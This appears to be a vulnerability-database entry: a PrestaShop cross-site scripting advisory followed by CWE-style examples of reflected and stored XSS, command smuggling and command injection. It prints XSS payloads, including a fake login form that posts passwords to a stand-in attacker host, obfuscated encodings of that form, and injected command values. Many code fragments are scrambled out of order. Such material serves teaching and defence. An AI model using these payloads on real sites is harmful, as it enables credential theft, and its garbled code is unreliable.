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PrestaShop is an open source e-commerce web application. Versions prior to 1.7.8.10, 8.0.5, and 8.1.1 are vulnerable to cross-site scripting through the `isCleanHTML` method. Versions 1.7.8.10, 8.0.5, and 8.1.1 contain a patch. There are no known workarounds.
CVSS 3.1 Base Score 6.1. CVSS Attack Vector: network. CVSS Attack Complexity: low. CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.
echo '<div class="header"> Welcome, ' . $username . '</div>';Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.
More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:
</div></div></form><input type="submit" value="Login" />The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0AThe same attack string could also be obfuscated as:
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.
This example also displays a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
Employee ID: <%= eid %>The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.
<p><asp:label id="EmployeeID" runat="server" /></p>The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.
This example covers a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.
Employee Name: <%= name %>String name = rs.getString("name");The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.
<p><asp:label id="EmployeeName" runat="server" /></p>This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.
The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.
CreateUser.php
/.../The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:
ListUsers.php
echo '</div>';exit;//Print list of users to pageecho '<div class="userNames">'.$row['fullname'].'</div>';The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.
Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:
saveMessage($announceStr);//save HTML-formatted message to file; implementation details are irrelevant for this example.An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:
<script>document.alert('Hacked');</script>The raw contents of the message file would look like:
<script>document.alert('Hacked');</script> has logged in.For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.
This code displays an email address that was submitted as part of a form.
Email Address: <%= email %>The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).
Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.
First let's look at the back end command processor code
}# generate an array of strings separated by the "|" character.}# separate the operator from its arguments based on a single whitespaceExecuteBan($args);ExecuteSay($args);The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.
print $fh "$cmd $argstr\n";# removes extra whitespace and also changes CRLF's to spacesdie "Error: you are not the admin.\n";# communicate with file server using a file handleIt is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UrlEncode function could leave the "|" character intact. If an attacker provides:
SAY hello world|BAN user12then the front end will see this is a "SAY" command, and the $argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:
SAY hello%20world|BAN%20user12The back end, however, will treat these as two separate commands:
BAN user12Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.
This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.
}return($ARGV[0]);return($str);system("cd /home/$uname; /bin/ls -l");The programmer attempts to encode dangerous characters, however the blacklist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).
Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:
' pwdthen the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.
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